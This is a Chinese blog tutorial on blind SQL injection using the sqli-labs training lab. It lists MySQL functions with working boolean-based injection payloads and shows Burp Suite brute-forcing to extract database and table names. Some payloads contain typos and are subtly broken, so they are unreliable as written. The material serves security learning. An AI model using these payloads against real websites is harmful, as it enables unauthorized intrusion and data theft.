SQL注入之盲注

一、什么是盲注

盲注就是在sql注入当中,在执行sql语句的时候由于网站代码的限制,或者是解析器的配置导致网页前端不能回显数据。如果存在先错注入,我们可以构造select语句,将需要的信息在合适的位置显示出来,在进行下一步的测试。

我们使用sqli——labs里的第一关做有回显的。

 来看第五关:我们在源码里面加上一个代码,让他可以显示出我们传递参数的地方构造的sql语句。

 盲注意味着web页面不会显示错误sql语句执行的结果,我们需要判断sql语句是否正确执行。

盲注的分类可以分为两种,一种是布尔类型的盲注,另一种就是延时注入。

布尔类型的盲注:根据页面显示是否正确,来判断我们提交的语句是否正确执行

延时注入:是根据页面加载时间来进行判断。

盲注的优缺点:

        优点:不需要显示位和出错信息

        缺点:速度慢,耗时长,不过可以使用bp工具来进行fuzz

布尔类型盲注的操作步骤:

1、构造目标查询语句

2、选择拼接方式

3、构造判断表达式

4、提取数据长度

5、提取数据内容

二、Mysql数据库相关函数

length(str):返回str字符串的长度
select length(database()) //该语句就可以返回数据库的长度
payload= id=1'and length(database())=8--+ //判断数据库长度是否位8 如果是8则返回正常页面反之错误页面。



substr(str):截取字符串函数
select substr('email',4,2) =  "il"  //有三个参数,str pos len  ,第一个参数就是我们的sql语句,第二个参数表示从第几个字符开始,第三个参数就是取几位。从pos位置取str位置的len值.如果pos位负数,则为倒数第几个,-4 就为倒数第四个 结果结尾 ma 
payload=id=1' and substr((select database())1,1)='a'--+ //判断当前数据库第一位字符是否等于'a'如果等于返回正常界面,反之错误界面。




正则表达式:regexp
正则表达式语法:regexp ^[a-z]表示字符串中第一个字符实在a-z范围。^a 表示第一个字符为a。regexp ^ab 表示前俩字符为ab。
payload: id=1'and (select databse()) regexp '^a' --+ //判断数据库第一个字符是否为a。



like函数:
语法:like 'a%' 表示第一个字符为a。'ab%'表示前俩字符为ab
注意:'%'在url中输入的时候需要编码,为'25%'.
payload: id=1' and (select database()) like 'a25%'--+




if条件判断语句:正确返回的值,错误返回的值。
if (exp1,exp2,exp3):当exp1的判断结果为true时返回exp2,否则返回exp3.
payload= id =1' if(((select databse())like '%p'),1,0)--+ //使用if和like函数,如果数据库第一个字符为p,则返回1否则为0.



left:
payload:id=1' and left(databse(),1)='s'--+ //数据库第一位是否为s,如果是返回正确页面否则返回错误界面。

三、利用burp suite工具来进行盲注

手工测试太麻烦了我们可以结合burpsuite进行爆破。

确定参数,这里为了省时间,我就没有加特殊符号用的26个英文字母跑的。

payload:id=1' and substr(database(),1,1)='a'--+

注意现在url里输入在抓包,因为bp里面是url编码后的。

 

 这样就知道了当前数据库第一个字符。

我们可以在加一个变量,是substr的第二个参数改变,已知数据库长度为8,使用集数炸弹即可爆出所有字段。

这里节省时间就直接26字母了没有加特殊符号。而且mysql数据库大小写不敏感。

第一个payload就是1-8数字

就相当于第一位从26位字母里爆然后继续第二位以此类推,最后排序找到完整数据库名

 

 

 

 第三位就是c这里图太多就不放上来了,得到数据库名,security。

得到库名我们可以继续爆表明,payload的思路也是同理,表名无非就是26字母加特殊符号,先爆出来表的长度,再根据长度进行表名的爆破。因为一个库里面不一定有几个表呢。

payload:id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1--+

把参数1爆破,先来1-100.最后跑出来位29

 

 知道了所有表的长度就可以来爆破表名了,和爆破数据库名同理,改变substr第二个参数为1-29.

payload:

id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a'--+

 

 如上图可以看到第一个字符为e正确,换行也占用一个字符,将他们排序即可获取到表名。

继续爆字段的话也是同理,实战的时候别忘了加上特殊符号。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我像一条狗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值